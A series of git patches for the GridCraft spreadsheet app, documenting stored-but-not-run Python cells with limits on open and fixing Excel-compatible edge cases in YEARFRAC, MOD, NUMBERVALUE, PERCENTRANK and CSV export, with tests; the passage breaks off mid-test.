--git a/docs/architecture.md b/docs/architecture.md index c92e08e20..203004573 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -1,6 +1,6 @@ # Architecture -> **Last reviewed:** 2026-10-10 · ** Last updated:** 2026-10-24 · **Change:** minor (engine building blocks for multi-command actions) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-25 · **Change:** minor (Python cells as data; earlier: engine building blocks for multi-command actions) · **Target:** Microsoft Excel (Microsoft 365) How GridCraft is built today. Rules for contributors are in [`AGENTS.md`](../AGENTS.md). @@ -125,6 +125,25 @@ Actions made of many commands (macros, a debugger that runs one step per call) u under (a hidden workbook-scope name of either shape; a visible one is the person's own), and `formulas.createFromSelection` skips such labels, unless `force: true` is passed. +## Python cells + +A Python cell is a `Cell` whose `py` holds a `model::PyCode`: the code, the return type (an Excel +value or a Python object, the `0` or `1` of Excel's `PY(code, return_type)`), the last result and a +stale flag. Its `value` is the cached result, so formulas, display and saving read it like any +other cell. `model::python` has the text forms: `PY("…"&"…",n)` with literals of at most 255 +characters (the function's syntax, which some files hold), the `_xlfn._xlws.` prefix, the +8,192-character limit measured on that formula (`PyCode::fits`), and the `xl("…")` literals in +code, which structural edits rewrite like formula references. + +Calc treats a Python cell as a graph node that reads nothing: a pass takes its kept result instead +of evaluating it, so an array result spills, is blocked and unblocked, and reaches its dependents +through the same code as a formula's. The xlsx reader and writer map Python cells to and from +`_xlfn._xlws.PY(index,n)` formulas with cached values and the workbook's Python part, which holds +the code (`xlsx::python_part`, [MS-XLSX] 2.3.10); `io::adopt_python` and `io::enforce_python_limits` +bound what a file can make the app hold (result size, spill ranges, total rebuilt cells, code +size). This build runs no Python: `python.set` stores code, and new or changed code shows +`#BLOCKED!`. + ## Agent control - Desktop control channel: `gridcraft --control 7979`, JSON lines on localhost @@ -150,6 +169,7 @@ rpm, tarball), FreeBSD, and web (WASM; WebGPU or WebGL2). Release workflows in | Date | Change | Summary | |---|---|---| +| 2026-10-25 | minor | Python cells as data: `model::PyCode`, the file forms, calc laying out kept results, and the limits on open | | 2026-10-24 | minor | Engine building blocks for multi-command actions: undo groups, recording buffer, document trust, chunked hidden-name storage | | 2026-10-14 | minor | Document Undo's retained-cell-storage budget and latest-step guarantee | | 2026-10-10 | major | Created from the code on main: crates, layers, data flow, agent control, known gaps | diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index cf567f8bd..4e0252ee4 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-21 · **Change:** minor (.xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -93,6 +93,16 @@ Server, Access, ODBC, …), web pages, SharePoint and online services, through P GridCraft imports CSV/TSV, JSON and HTML tables only, with no query editor, no connections and no refresh. Counted under features (Get & Transform, ~10% ready), not here. +## Python cells + +| Where | GridCraft | Notes | +|---|---|---| +| `.xlsx` | read and write | Written as [MS-XLSX] 2.3.10 specifies: the cell's formula is `_xlfn._xlws.PY(i,n)`, where `i` is the index of the cell's script in the workbook's Python part (`xl/python.xml`, `application/vnd.ms-excel.python+xml`) and `n` the return type, 0 for an Excel value or 1 for a Python object, with the cached value. The code keeps its `xl()` references as text, so the formula has no further arguments. A spilling result is written as a dynamic array with its spilled values cached. Read back with or without the `_xlfn.` and `_xlws.` prefixes: an index names a script of the Python part, whose `%Px%` references become the text of the formula's argument `x`, and the older form with the code in string literals, `PY("…"&"…",n)`, still reads. So workbooks laid out as the format specifies open with Python cells, their cached values and spills. Python errors are cached as `#VALUE!`, as Excel caches `#SPILL!` and `#CALC!` | +| `.xls`, `.xlsb`, `.ods` | read | A `PY("…",0)` or `PY("…",1)` formula read from any format becomes a Python cell; the `.xlsb` and `.ods` imports keep values only, so Python cells there come in as their cached values | +| GridCraft JSON | read and write | The whole Python cell: code, return type, the last result and the exact error | +| Limits on open | — | Code that doesn't fit Excel's 8,192-character formula as `PY("…",n)` keeps only its cached value, with a warning, and so does a formula naming a script the Python part doesn't hold. The Python part is read up to 64 MB and 1,000,000 scripts, and the cells take at most 64 MB of code from it in all (several formulas can name one script). A kept result that is not a well-formed array of at most 1,000,000 cells is dropped, a spill range larger than that is ignored, and results are rebuilt for at most 4,000,000 cells over the workbook. Opening runs nothing | +| Not kept | — | Python object results stored as rich values (Excel's `richData` parts) come in as their cached values. The Python part's environment definition (its id and initialization code) is not read, and a save writes none | + ## Work (76–114 h) | Work | Hours | @@ -110,6 +120,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-10-25 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..5337204b5 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the Python errors `#PYTHON!`, `#BUSY!`, `#TIMEOUT!` and `#BLOCKED!`, and a Python in cells row; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -93,7 +93,8 @@ This improves series preparation; it does not change the model-fitting or season | External workbook references (`[Book.xlsx]Sheet1!A1`) | parsed; links dropped on open, no update | | Localized function names and `;` separators | **missing** (#45); en-US only | | Long flat operator chains (`=A1+A2+…`, `-`, `*`, `/`, `^`, `&`, comparisons) | done: no operand limit below Excel's 8,192-character formula limit (Excel, observed: `=1+1+…` with 4,096 operands is exactly 8,192 characters with the `=` and calculates; one more character is refused). Evaluated (#484), printed (#628), stored, copied, adjusted, saved and reopened without recursing once per operand, on a 1 MiB stack (#916); written to XLSX as plain formulas, not dynamic arrays; Spanish entry accepts them | -| Error values | the seven classic errors plus `#SPILL!`, `#CALC!`, `#GETTING_DATA` done; `#FIELD!`, `#BLOCKED!`, `#CONNECT!`, `#BUSY!`, `#UNKNOWN!`, `#PYTHON!` missing (minor: they come from data types, cloud and Python features) | +| Error values | the seven classic errors plus `#SPILL!`, `#CALC!`, `#GETTING_DATA`, and the Python errors `#PYTHON!`, `#BUSY!`, `#TIMEOUT!`, `#BLOCKED!` done; `#FIELD!`, `#CONNECT!`, `#UNKNOWN!` missing (minor: they come from data types and cloud features). `ERROR.TYPE` gives 11 for `#BLOCKED!` as Excel does; Microsoft documents no number for `#PYTHON!`, `#BUSY!` or `#TIMEOUT!`, and GridCraft gives them 19, 20 and 21 | +| Python in cells | partial: Python cells are stored, edited (`python.set`), copied, moved and saved, and Excel's `_xlfn._xlws.PY` cells open with their cached results; the code doesn't run, so new or changed code shows `#BLOCKED!`. Typing `=PY(` is refused with a pointer to `python.set`, so `PY` stays counted as missing above | ## Depth (estimated) @@ -123,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-25 | minor | Python in cells (stored, not run): `#PYTHON!`, `#BUSY!`, `#TIMEOUT!` and `#BLOCKED!` done, with their `ERROR.TYPE` numbers; `PY` still counted as missing | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 9cc126409b85363f0622303f050207069c6d94bc Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 11:15:00 -0500 Subject: [PATCH 013/298] Match Excel for YEARFRAC basis 0, MOD, NUMBERVALUE and PERCENTRANK edge cases Checked against Excel 16: YEARFRAC basis 0 tests the end-31 rule against the original start day; MOD gives #NUM! once the quotient magnitude reaches 1.1259E12; NUMBERVALUE no longer rejects unmatched separators; PERCENTRANK gives #DIV/0! from significance 309 and 15 significant digits from significance 15. --- crates/functions/src/date.rs | 13 ++++++++++--- crates/functions/src/math.rs | 28 +++++++++++++++++++--------- crates/functions/src/stat.rs | 25 +++++++++++++++++++++---- crates/functions/src/text.rs | 15 +++++++++++---- 4 files changed, 61 insertions(+), 20 deletions(-) diff --git a/crates/functions/src/date.rs b/crates/functions/src/date.rs index 93328154b..21d2a49c1 100644 --- a/crates/functions/src/date.rs +++ b/crates/functions/src/date.rs @@ -449,13 +449,15 @@ pub(crate) fn yearfrac_core(sys: DateSystem, s: i64, e: i64, basis: i64) -> R { let (mut a, mut b) = (d1.day as i64, d2.day as i64); + // Excel tests the end-31 rule against the original start day, before a February end moves to 30. + let start_30 = a >= 30; if last_of_feb(&d1) && last_of_feb(&d2) { b = 30; } if last_of_feb(&d1) || a == 31 { a = 30; } - if a == 30 && b == 31 { + if start_30 && b == 31 { b = 30; } ((d2.year as i64 - d1.year as i64) * 360 + (d2.month as i64 - d1.month as i64) * 30 + b - a) as f64 / 360.0 @@ -817,8 +819,13 @@ mod tests { #[test] fn yearfrac_basis0_feb_end_to_31() { - close(ev("YEARFRAC", vec![n(d(2021.0, 2.0, 28.0)), n(d(2021.0, 3.0, 31.0)), n(0.0)]), 30.0 / 360.0); - close(ev("YEARFRAC", vec![n(d(2020.0, 2.0, 29.0)), n(d(2020.0, 3.0, 31.0)), n(0.0)]), 30.0 / 360.0); + // Excel 16: a February-end start keeps its original day for the end-31 test, so 31 days. + close(ev("YEARFRAC", vec![n(d(2021.0, 2.0, 28.0)), n(d(2021.0, 3.0, 31.0)), n(0.0)]), 0.086_111_111_111_111_11); + close(ev("YEARFRAC", vec![n(d(2020.0, 2.0, 29.0)), n(d(2020.0, 3.0, 31.0)), n(0.0)]), 0.086_111_111_111_111_11); + close(ev("YEARFRAC", vec![n(d(2021.0, 3.0, 31.0)), n(d(2021.0, 2.0, 28.0)), n(0.0)]), 0.086_111_111_111_111_11); + close(ev("YEARFRAC", vec![n(d(2021.0, 1.0, 31.0)), n(d(2021.0, 2.0, 28.0)), n(0.0)]), 0.077_777_777_777_777_78); + close(ev("YEARFRAC", vec![n(d(2021.0, 1.0, 30.0)), n(d(2021.0, 3.0, 31.0)), n(0.0)]), 1.0 / 6.0); + close(ev("YEARFRAC", vec![n(d(2020.0, 2.0, 29.0)), n(d(2021.0, 2.0, 28.0)), n(0.0)]), 1.0); close(ev("YEARFRAC", vec![n(d(2021.0, 2.0, 28.0)), n(d(2021.0, 2.0, 28.0)), n(0.0)]), 0.0); } diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index 9824da7bf..eeeb5303d 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -306,6 +306,10 @@ fn modulo(x: f64, d: f64) -> R { if d == 0.0 { return Err(CellError::Div0); } + // Excel returns #NUM! once the quotient magnitude reaches 1.1259E12 (checked against Excel 16). + if (x / d).abs() >= 1.1259e12 { + return Err(CellError::Num); + } // `%` is an exact remainder (truncated), so |r| < |d| even for tiny divisors. let r = x % d; // Keep the sign of the divisor and avoid returning |d| from rounding. @@ -1443,16 +1447,22 @@ mod tests { } #[test] - fn mod_tiny_divisor_stays_in_range() { - for (x, d) in [(3.0, 1e-300), (-1.0, 1e-300), (3.0, -1e-300), (-1.0, -1e-300)] { - match ev2("MOD", x, d) { - Value::Number(r) => { - assert!(r == 0.0 || (r < 0.0) == (d < 0.0), "MOD({x}, {d}) = {r}"); - assert!(r.abs() < d.abs(), "MOD({x}, {d}) = {r}"); - } - other => panic!("MOD({x}, {d}) = {other:?}"), - } + fn mod_quotient_limit() { + // Excel 16: #NUM! whenever |number / divisor| >= 1.1259E12. + for (x, d) in [ + (3.0, 1e-300), + (-1.0, 1e-300), + (3.0, -1e-300), + (-1.0, -1e-300), + (1e15, 7.0), + (1e10, 0.001), + (1_125_900_000_000.0, 1.0), + (-1_125_900_000_000.0, 1.0), + ] { + is_err(ev2("MOD", x, d), Num); } + close(ev2("MOD", 1e12 * 7.0 + 3.0, 7.0), 3.0); + close(ev2("MOD", 1_125_899_999_999.9998, 1.0), 0.989_990_234_375); } #[test] diff --git a/crates/functions/src/stat.rs b/crates/functions/src/stat.rs index 344ba9ff8..b67aeb885 100644 --- a/crates/functions/src/stat.rs +++ b/crates/functions/src/stat.rs @@ -345,6 +345,10 @@ fn percentrank_impl(a: &[Arg], exc: bool) -> R { if sig < 1.0 || s.is_empty() { return Err(CellError::Num); } + // Excel: 10^significance overflows from 309 up. + if sig >= 309.0 { + return Err(CellError::Div0); + } let (first, last) = (s.first().copied().unwrap_or(0.0), s.last().copied().unwrap_or(0.0)); if x < first || x > last { return Err(CellError::NA); @@ -368,6 +372,10 @@ fn percentrank_impl(a: &[Arg], exc: bool) -> R { let (rl, rh) = (rank_of(lo), rank_of(hi)); rl + (x - lo) / (hi - lo) * (rh - rl) }; + // From significance 15 up Excel returns 15 significant digits, rounded. + if sig >= 15.0 { + return num_val(format!("{r:.14e}").parse().unwrap_or(r)); + } num_val(trunc_digits(r, sig)) } @@ -2490,10 +2498,19 @@ mod tests { close(ev("PERCENTRANK.EXC", vec![e9.clone(), n(5.43)]), 0.381); close(ev("PERCENTRANK.EXC", vec![e9, n(5.43), n(1.0)]), 0.3); let t = c(&[1.0, 2.0, 3.0]); - close(ev("PERCENTRANK", vec![t.clone(), n(2.0), n(400.0)]), 0.5); - close(ev("PERCENTRANK.INC", vec![t.clone(), n(2.0), n(400.0)]), 0.5); - close(ev("PERCENTRANK.INC", vec![t.clone(), n(1.0), n(400.0)]), 0.0); - close(ev("PERCENTRANK.EXC", vec![t, n(2.0), n(400.0)]), 0.5); + // Excel 16: significance 309 and up is #DIV/0!, 308 still works. + for name in ["PERCENTRANK", "PERCENTRANK.INC", "PERCENTRANK.EXC"] { + is_err(ev(name, vec![t.clone(), n(2.0), n(309.0)]), CellError::Div0); + is_err(ev(name, vec![t.clone(), n(1.0), n(400.0)]), CellError::Div0); + close(ev(name, vec![t.clone(), n(2.0), n(308.0)]), 0.5); + } + // From significance 15 up the result has 15 significant digits. + let k = c(&[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0]); + for sig in [15.0, 16.0, 308.0] { + close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667); + } + close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66); + close(ev("PERCENTRANK.EXC", vec![k, n(2.123_456_789), n(16.0)]), 0.265_432_098_625); } #[test] diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..db4b6d70c 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -334,8 +334,6 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { if seen_dec { return Err(CellError::Value); } - } else if c == '.' || c == ',' { - return Err(CellError::Value); } else { out.push(c); } @@ -1225,8 +1223,17 @@ mod tests { close(ev("NUMBERVALUE", vec![t(" 1 000 ")]), 1000.0); close(ev("NUMBERVALUE", vec![t("")]), 0.0); is_err(ev("NUMBERVALUE", vec![t("1.2.3")]), CellError::Value); - is_err(ev("NUMBERVALUE", vec![t("1.5"), t(","), t(" ")]), CellError::Value); - is_err(ev("NUMBERVALUE", vec![t("1,5"), t("."), t(" ")]), CellError::Value); + // Excel 16 (en-US) swaps the given separators, then parses what is left in the host locale. + close(ev("NUMBERVALUE", vec![t("1.5"), t(","), t(" ")]), 1.5); + close(ev("NUMBERVALUE", vec![t("1 234.5"), t(","), t(" ")]), 1234.5); + close(ev("NUMBERVALUE", vec![t("2.5%"), t(","), t(" ")]), 0.025); + close(ev("NUMBERVALUE", vec![t("1.5E3"), t(","), t(" ")]), 1500.0); + close(ev("NUMBERVALUE", vec![t("1.5"), t(";")]), 1.5); + close(ev("NUMBERVALUE", vec![t("1.5"), t("x")]), 1.5); + close(ev("NUMBERVALUE", vec![t("1,5"), t(".")]), 15.0); + is_err(ev("NUMBERVALUE", vec![t("12.345,6"), t(","), t(" ")]), CellError::Value); + is_err(ev("NUMBERVALUE", vec![t("1.2.3"), t(","), t(" ")]), CellError::Value); + is_err(ev("NUMBERVALUE", vec![t("1,5"), t("."), t(".")]), CellError::Value); is_text(ev("FIXED", vec![n(1234.567), n(1.0)]), "1,234.6"); is_text(ev("FIXED", vec![n(1234.567), n(-1.0)]), "1,230"); is_text(ev("FIXED", vec![n(-1234.567), n(1.0), b(true)]), "-1234.6"); From 551ec6590de5e0f79391ffb7b654fb4e92e22b38 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 11:25:20 -0500 Subject: [PATCH 014/298] Fix literal grouping in the MOD test --- crates/functions/src/math.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index eeeb5303d..4b84e572d 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -1462,7 +1462,7 @@ mod tests { is_err(ev2("MOD", x, d), Num); } close(ev2("MOD", 1e12 * 7.0 + 3.0, 7.0), 3.0); - close(ev2("MOD", 1_125_899_999_999.9998, 1.0), 0.989_990_234_375); + close(ev2("MOD", 1_125_899_999_999.999_8, 1.0), 0.989_990_234_375); } #[test] From a75b19e678af2fd039b996fe99e74bddb8648499 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 11:32:08 -0500 Subject: [PATCH 015/298] MOD test: use the literal Excel reads (15 significant digits) --- crates/functions/src/math.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index 4b84e572d..cc21dfd8f 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -1462,7 +1462,7 @@ mod tests { is_err(ev2("MOD", x, d), Num); } close(ev2("MOD", 1e12 * 7.0 + 3.0, 7.0), 3.0); - close(ev2("MOD", 1_125_899_999_999.999_8, 1.0), 0.989_990_234_375); + close(ev2("MOD", 1_125_899_999_999.99, 1.0), 0.989_990_234_375); } #[test] From 5ed5c09bc667ff706c46710a1783c5d9c1c37cdd Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 11:39:22 -0500 Subject: [PATCH 016/298] NUMBERVALUE: a leftover dot is a decimal point, not a date separator --- crates/functions/src/text.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index db4b6d70c..09fbc2be4 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -338,6 +338,10 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { out.push(c); } } + // A leftover `.` can be a decimal point but never a date separator: `1.2.3` is `#VALUE!` in Excel. + if out.matches('.').count() > 1 { + return Err(CellError::Value); + } let mut n = parse_number_text_in(&out, c.date_system()).ok_or(CellError::Value)?; for _ in 0..pct { n /= 100.0; From c72f5a49b045adba72842afd845456babbb10c87 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 11:48:54 -0500 Subject: [PATCH 017/298] PERCENTRANK test: check the fifteenth digit with a tight tolerance --- crates/functions/src/stat.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/stat.rs b/crates/functions/src/stat.rs index b67aeb885..899a8a5c9 100644 --- a/crates/functions/src/stat.rs +++ b/crates/functions/src/stat.rs @@ -2507,7 +2507,7 @@ mod tests { // From significance 15 up the result has 15 significant digits. let k = c(&[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0]); for sig in [15.0, 16.0, 308.0] { - close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667); + close_tol(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667, 1e-16); } close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66); close(ev("PERCENTRANK.EXC", vec![k, n(2.123_456_789), n(16.0)]), 0.265_432_098_625); From 9515c29969a6f3530f9b46300b2de3e5ba308444 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:34:18 -0500 Subject: [PATCH 018/298] CSV export: file.exportCsv values:true writes raw values for automation (#2648) The default stays Excel's displayed text, byte for byte. --- crates/engine/src/cmd/file.rs | 8 ++++++-- crates/engine/src/io.rs | 35 ++++++++++++++++++++++++++++++++ crates/engine/src/tests.rs | 38 +++++++++++++++++++++++++++++++++++ docs/file-format-parity.md | 7 ++++--- 4 files changed, 83 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd/file.rs b/crates/engine/src/cmd/file.rs index 9af85b9dd..27e74dc60 100644 --- a/crates/engine/src/cmd/file.rs +++ b/crates/engine/src/cmd/file.rs @@ -13,7 +13,7 @@ pub fn specs() -> Vec { cmd!(noundo "file.saveAs", "Save As…", ["File"], Some("Cmd+Shift+S"), "{path} (.xlsx, .csv, .tsv, .json, .html, or .pdf: a PDF of the active sheet)", has_doc, save_as), cmd!(query "file.saveBytes", "Encode Workbook", [], None, "{format?: xlsx|csv|tsv|json|html} → {base64}", has_doc, save_bytes), cmd!(noundo "file.close", "Close", ["File"], Some("Cmd+W"), "{force?: bool, document?: bool} (closes the active window, or with `document` the workbook and all its windows; the workbook closes with its last window)", has_doc, close), - cmd!(noundo "file.exportCsv", "Export as CSV", ["File", "Export"], None, "{path, sheet?}", has_doc, |s, p| export(s, p, "csv")), + cmd!(noundo "file.exportCsv", "Export as CSV", ["File", "Export"], None, "{path, sheet?, values?: bool} → {path, bytes}: writes the cells as displayed, like Excel's Save As CSV; `values: true` writes raw values instead (full-precision numbers, ISO 8601 dates and times, TRUE/FALSE)", has_doc, |s, p| export(s, p, "csv")), cmd!(noundo "file.exportHtml", "Save as Web Page", ["File", "Export"], None, "{path}", has_doc, |s, p| export(s, p, "html")), cmd!("file.properties", "Properties", ["File"], None, "{title?, subject?, author?, company?, keywords?, description?}", has_doc, properties), cmd!( @@ -191,7 +191,11 @@ fn export(s: &mut Session, p: &Json, ext: &str) -> Result { wb.set_active_sheet(target_sheet(s, p)?); } let target = if path.ends_with(&format!(".{ext}")) { path.clone() } else { format!("{path}.{ext}") }; - let bytes = crate::io::save_bytes(&wb, &target)?; + let bytes = if ext == "csv" && bool_param(p, "values").unwrap_or(false) { + crate::io::csv_values_bytes(&wb)? + } else { + crate::io::save_bytes(&wb, &target)? + }; crate::io::write_file(&target, &bytes)?; Ok(json!({"path": target, "bytes": bytes.len()})) } diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 77467b210..ba44f1f2b 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -294,6 +294,41 @@ fn csv(wb: &Workbook, sh: &Sheet, delimiter: u8) -> Result> { .map_err(|e| EngineError::Other(e.to_string())) } +/// The active sheet as CSV of raw cell values, for automation: numbers at full precision, dates and +/// times as ISO 8601, booleans `TRUE`/`FALSE`, errors as their text, text as stored. Save As CSV +/// writes displayed text instead ([`save_bytes`]) and stays the default. +pub fn csv_values_bytes(wb: &Workbook) -> Result> { + let Some(sh) = wb.sheet(wb.active_sheet()) else { return Ok(Vec::new()) }; + gridcraft_xlsx::write_csv(sh, wb.csv_delimiter.unwrap_or(b','), |c| match sh.value(c) { + gridcraft_core::Value::Number(n) if n.is_finite() => { + let kind = crate::display::number_format(wb.styles.get(sh.style_id(c)).num_fmt.as_str()).kind(); + let dt = matches!(kind, gridcraft_numfmt::FormatKind::Date | gridcraft_numfmt::FormatKind::Time) + .then(|| gridcraft_core::date::datetime_from_serial(wb.date_system, n)) + .flatten(); + match dt { + Some(d) => iso(&d, kind == gridcraft_numfmt::FormatKind::Time && n < 1.0, n.fract() != 0.0), + None => n.to_string(), + } + } + gridcraft_core::Value::Text(t) => t.to_string(), + v => crate::display::value_text_as(wb, &v, "General"), + }) + .map_err(|e| EngineError::Other(e.to_string())) +} + +fn iso(d: &gridcraft_core::date::DateTime, time_only: bool, with_time: bool) -> String { + let date = format!("{:04}-{:02}-{:02}", d.year, d.month, d.day); + let mut time = format!("{:02}:{:02}:{:02}", d.hour, d.minute, d.second); + if d.milli != 0 { + time.push_str(&format!(".{:03}", d.milli)); + } + match (time_only, with_time) { + (true, _) => time, + (false, true) => format!("{date}T{time}"), + (false, false) => date, + } +} + pub(crate) fn esc(s: &str) -> String { s.replace('&', "&").replace('<', "<").replace('>', ">").replace('"', """) } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 13fbb9b3a..c42d1484b 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2460,6 +2460,44 @@ fn saving_an_opened_semicolon_csv_keeps_semicolons() { std::fs::remove_dir_all(dir).unwrap(); } +/// `file.exportCsv` writes displayed text by default (Excel's Save As CSV); `values: true` writes the +/// raw values for automation: full precision, ISO dates and times. +#[test] +fn export_csv_values_writes_raw_values_and_the_default_stays_displayed_text() { + let mut s = s(); + for (cell, input, code) in [ + ("A1", "1234.5", "$#,##0.00"), + ("B1", "0.123456789", "0.00"), + ("C1", "46023", "d-mmm-yy"), + ("D1", "46023.5", "yyyy-mm-dd hh:mm"), + ("E1", "0.75", "h:mm"), + ("F1", "TRUE", "General"), + 